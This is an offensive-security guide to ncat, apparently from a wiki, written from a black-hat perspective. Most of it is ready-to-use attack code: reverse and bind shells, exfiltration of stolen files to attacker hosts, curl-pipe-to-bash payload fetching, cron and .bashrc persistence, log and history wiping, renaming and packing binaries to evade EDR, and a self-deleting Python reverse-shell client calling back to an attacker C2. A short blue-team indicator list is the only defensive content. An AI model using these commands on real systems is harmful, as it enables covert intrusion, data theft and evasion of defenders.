NCAT

FOR EDUCATIONAL PURPOSES ONLY

ncat (part of the Nmap suite) is a surgical-grade networking tool that functions as a modernized, flexible replacement for netcat (nc), and is often referred to as the "Swiss Army knife" of TCP/IP operations.

Ncat is a network utility that allows for reading and writing data across networks using TCP, UDP, SSL/TLS, and even proxy chains. Within Kali Linux, it serves as a core utility for establishing covert communications, reverse shells, data exfiltration, and port redirection, all while remaining stealthy and minimal in footprint.

Reverse Shell

# Attacker (listener)
ncat -lvnp 4444

# Victim
ncat <attacker_ip> 4444 -e /bin/bash

Bind Shell

ncat -lvnp 4444 -e /bin/bash

Perfect for establishing footholds during post-exploitation, especially when bypassing restricted egress environments.

Proxying & Relaying Tunnels

  • Supports SOCKS4/SOCKS5 and HTTP proxies.

  • Chain ncat instances across multiple bounce points for anonymized or segmented communication.

Simple TCP relay

ncat --listen 8080 --sh-exec "ncat target.com 22"

File Transfer / Exfiltration

# Send
ncat -lvnp 9999 < secret.zip

# Receive
ncat <attacker_ip> 9999 > secret.zip

Upload/Download arbitrary files across a compromised network

SSL Support can be used to encrypt C2 Traffic and blend in with HTTPS traffic

ncat --ssl -lvnp 443

While not as feature-rich as Nmap, ncat can be used for basic port scanning or manual recon:

ncat -v target.com 80

Why Black Hat's like it

  • No Dependencies – It runs on nearly any Unix-like system, even barebones ones.

  • Low Signature – Can often bypass basic firewalls or EDR systems when obfuscated.

  • Portability – Works in Linux, Windows, and macOS. A Windows binary can be dropped and executed directly.

  • Stealthy Communication – Can masquerade as legitimate traffic using SSL and custom ports.

  • Dual Functionality – Acts both as a client and a server, crucial for C2 infrastructure.

Advanced Offensive Tactics

  • Pivoting Through Internal Networks:

    • With ncat + SSH or other relays, attackers can bridge isolated subnets.

  • Persistence & Backdoor Implant:

    • A cron job can relaunch an ncat reverse shell on reboot or periodically.

  • Dropper Stage for Larger Payloads:

    • Used in initial access to drop a Metasploit stager, Beacon, or custom RAT.

  • Live Chat with Malware on Compromised Hosts:

    • Acts as an interactive channel to communicate with implanted malware.

Red Flag Indicators (Blue Team POV)

  • Unusual listening ports (ncat -lvnp)

  • Unencrypted remote shell over uncommon ports

  • Repeated outbound connections to uncommon IPs over ncat

  • ncat binaries in unusual directories or renamed (e.g., update.log)

Tip: Combine ncat + Tor + ProxyChains + SSH tunnels + port knocking for fully anonymous reverse shells that evade most detection mechanisms.

Advanced OPSEC-Focused Evasion Techniques

Use domain fronting to leverage cloud CDN services (e.g., Cloudflare, Akamai) where Host headers mismatch the SNI

ncat --ssl --proxy <cdn_ip>:443 --proxy-type http <c2_domain> 443

Defeats DPI and censorship

Randomize Ports & Timing

  • Avoid default ports (4444, 8080, etc.).

  • Randomize connection intervals with sleep $((RANDOM % 300)).

while true; do
  ncat attacker.com $((1024 + RANDOM % 48128)) -e /bin/bash
  sleep $((RANDOM % 600))
done

Use Encrypted C2

  • Always use --ssl or wrap in stunnel.

  • Obfuscate C2 domains (e.g., lookalike domains like cdn-netflixsafe.com).

  • Avoid self-signed certs unless pinned.

Binary Evasion & Dropper Obfuscation

Rename ncat Binary

cp /usr/bin/ncat /tmp/udevd
chmod +x /tmp/udevd

Strip & Obfuscate Binaries

strip --strip-all ./ncat
upx -9 ./ncat

Minimize binary signature size, shrink entropy footprint

Embed in Legitimate Software,

Use LD_PRELOAD or inject into known binaries

LD_PRELOAD=/tmp/libhook.so /usr/bin/ssh

Persistencec Without Obvious Indicators

Environment Hijacking (Low Visibility)

echo 'ncat attacker.com 443 -e /bin/bash' >> ~/.bashrc

Contrab with Convert Naming

(crontab -l 2>/dev/null; echo "*/15 * * * * /tmp/.udev") | crontab -

Avoid obvious names. Use leading dots or mimic udevd, dbus-daemon, etc.

Fileless Execution via Memory

  • Use bash -i >& /dev/tcp/attacker_ip/port 0>&1 and never touch disk.

  • Or, pull ncat via curl and run directly in memory

curl http://attacker/ncat | bash

Network & Traffic Camouflage

Fake legit traffic patterns by using ncat to embed communication inside legitimate-looking protocols (e.g., HTTP GETs, DNS lookups).

GET /favicon.ico HTTP/1.1
Host: google.com

Pair with ncat --ssl and base64 encode payloads.

Tor ➝ ProxyChains ➝ ncat

proxychains ncat --ssl attacker.onion 443 -e /bin/bash

Make sure DNS leaks are off and that Tor is isolated from host logs.

Pivot via compromised hosts with reverse tunnels that do not connect directly, hopping through multiple relays

victim: ncat -l 5555 -e "ncat target2 5555"

Avoid detection from the host and network by disabling logging temporarily and clearing the bash history

unset HISTFILE
history -c

Use script -q /dev/null to create unlogged shell sessions.

Self-descrut scripts to remove evidence post-execution

#!/bin/bash
ncat attacker.com 443 -e /bin/bash
rm -- "$0"

Avoid Forensic Traces

  • Don’t use wget or curl unless redirected through memory.

  • Don't write binaries with common signatures.

  • Don’t use bash if Python is available

import socket,subprocess,os
s=socket.socket()
s.connect(("attacker.com",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash"])

Run ncat inside a container or chroot jail

  • Limits log footprint on host.

  • Reduces forensic artifacts.

chroot /tmp/.jail /bin/bash

OPSEC Golden Rules

Layer
OPSEC Best Practice

Binary

Rename, strip, UPX, embed

Traffic

Encrypt, randomize, blend with legit

Host

Avoid logs, self-destruct, run in memory

Persistence

Subtle names, fileless execution

C2

Use CDNs, Tor, proxychains, pivoting

TTPs

Rotate techniques, avoid static patterns

Fully Cloaked ncat based C2 setup

  • Encrypt C2

  • Obfuscate traffic

  • Self-destruct

  • Avoid disk traces

  • Blend in with system daemons

Kali Setup (Attacker)

Start a listener using SSL over a non-default port with a spoofed cert:

openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout key.pem
ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -vv -l 4433

Payload Fully Cloaked (Victum)

#!/bin/bash
# --- Setup ---
C2_IP="your.ip.addr.here"
C2_PORT="4433"
BIN_NAME=".udevd"

# --- Fileless Fetch (memory only) ---
curl -s https://yourserver/ncat -o /tmp/$BIN_NAME
chmod +x /tmp/$BIN_NAME

# --- Cloaked Execution (reverse shell) ---
/tmp/$BIN_NAME --ssl $C2_IP $C2_PORT -e /bin/bash &

# --- Self-delete ---
shred -u /tmp/$BIN_NAME
rm -- "$0"

OPSEC Enhancements

  • Use iptables or pf to geo-fence inbound connections.

  • Rotate cert.pem fingerprint periodically.

  • Restrict inbound to Tor egress IPs (if chaining).

  • Optionally wrap in base64 and decode at runtime.

Python Wrapper — Proxychains + Fileless + Self Delete

This drops a memory-based Python3 wrapper that:

  • Routes traffic through ProxyChains

  • Does NOT write the shellcode to disk

  • Connects to your ncat C2 endpoint

  • Deletes itself once executed

Full Python Wrapper (Client-Side)

#!/usr/bin/env python3
import socket, subprocess, os, time, sys

# === CONFIG ===
C2_HOST = "attacker.onion"  # Use .onion or relay IP
C2_PORT = 4433
SHELL = "/bin/bash"

# === OPSEC HARDENING ===
def self_destruct():
    try:
        os.remove(sys.argv[0])
    except Exception:
        pass

def unset_history():
    os.environ['HISTFILE'] = ''
    subprocess.call("unset HISTFILE; history -c", shell=True)

# === PROXYCHAINS EXECUTION ===
def reverse_shell():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((C2_HOST, C2_PORT))
        os.dup2(s.fileno(), 0)  # stdin
        os.dup2(s.fileno(), 1)  # stdout
        os.dup2(s.fileno(), 2)  # stderr
        subprocess.call([SHELL, "-i"])
    except Exception as e:
        pass

# === MAIN ===
if __name__ == "__main__":
    unset_history()
    time.sleep(1)
    reverse_shell()
    self_destruct()

Execute with proxychains

proxychains python3 ./agent.py

You can base64 encode this entire script and deploy it via an eval pipe:

curl http://attacker/payload.b64 | base64 -d | python3

Obfuscation Tips

  • Rename script to .dbus-run.sh or .nvramcheck

  • Host on a seemingly benign domain: cdn-update.microsoft-check[.]com

  • Use signed SSL on listener with Let's Encrypt or Cloudflare

  • Blend connection bursts with cron-based triggers

*/17 * * * * proxychains python3 /tmp/.udev

From a black hat perspective, ncat (from the Nmap suite) is one of the most underrated yet dangerous dual-use tools on any Linux box, especially in post-exploitation and pivoting scenarios. Here’s what you should know to wrap up your understanding at an elite operational level

Most EDRs/AVs won’t prioritize or even detect it if:

  • It’s statically compiled.

  • The binary is renamed to mimic a legit daemon (udevd, crond, atd).

  • It's dropped in /tmp, /dev/shm, or executed from memory.

You can turn a foothold into a SOCKS5 proxy for lateral movement without dropping Metasploit or Cobalt Strike.

ncat -l 1080 --proxy-type socks5 --allow 127.0.0.1

Then route tools like proxychains, curl, nmap, or browsers through this.

Use case: Pivot deeper into segmented VLANs from an infected host.

Tor Hidden Service as a Listener

Host your ncat listener inside Tor using a hidden .onion service:

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 4433 127.0.0.1:4433

Now your reverse shell beacon is routed through Tor, providing true IP obfuscation, timing randomness, and metadata stripping.

Custom Protocols to Blend in

Use ncat's --lua-exec to simulate benign HTTP/FTP protocols while the underlying session is raw C2.

Example: Wrap the session in HTTP to evade DPI and IDS

ncat --ssl --lua-exec http-wrapper.lua -l 443

http-wrapper.lua can handshake like Apache but act as a reverse shell underneath.

Backconnect via NAT/Firewall

You can force a reverse shell out of a NAT-locked environment without port forwarding

ncat --ssl your.attacker.ip 4433 -e /bin/bash

No incoming connections. No need for socat or reverse tunnel chains.

Full File Transfer Unit

Use ncat for file exfil without FTP or SCP.

On attacker:

ncat -l 4444 > stolen.zip

On Victim:

ncat attacker.ip 4444 < /path/to/loot.zip

You can wrap this inside an alias, cronjob, or obfuscated systemd timer.

EDR Evasion via Named Pipe + Memory

Hide ncat execution inside a named pipe:

mkfifo /tmp/fake; /bin/sh -i < /tmp/fake | ncat --ssl attacker 4433 > /tmp/fake

No visible shell rocess, clean STDOUT redirect steathly

Live Cloning Using a Relay

Compromise a Linux box and turn it into a relay for lateral spread or proxy:

ncat -l 5555 -c 'ncat target.internal.ip 22'

Acts as a reverse SSH passthrough — ideal for jumping over internal firewalls and inspecting or exploiting remote systems via one host.

Why it is a God-Tier Tool for Black Hats

Feature
Benefit

SSL/TLS support

Encrypts C2 comms, evades DPI

-e command exec

Rapid shells without staging

File transfer

Covert data exfil

SOCKS proxy mode

Pivot infrastructure

Lua support

Protocol mimicking for evasion

TCP/UDP versatility

Fits almost any network setup

Lightweight + stealth

No dependencies, easy to obfuscate

Works with ProxyChains

Chained anonymity and exit control

Last updated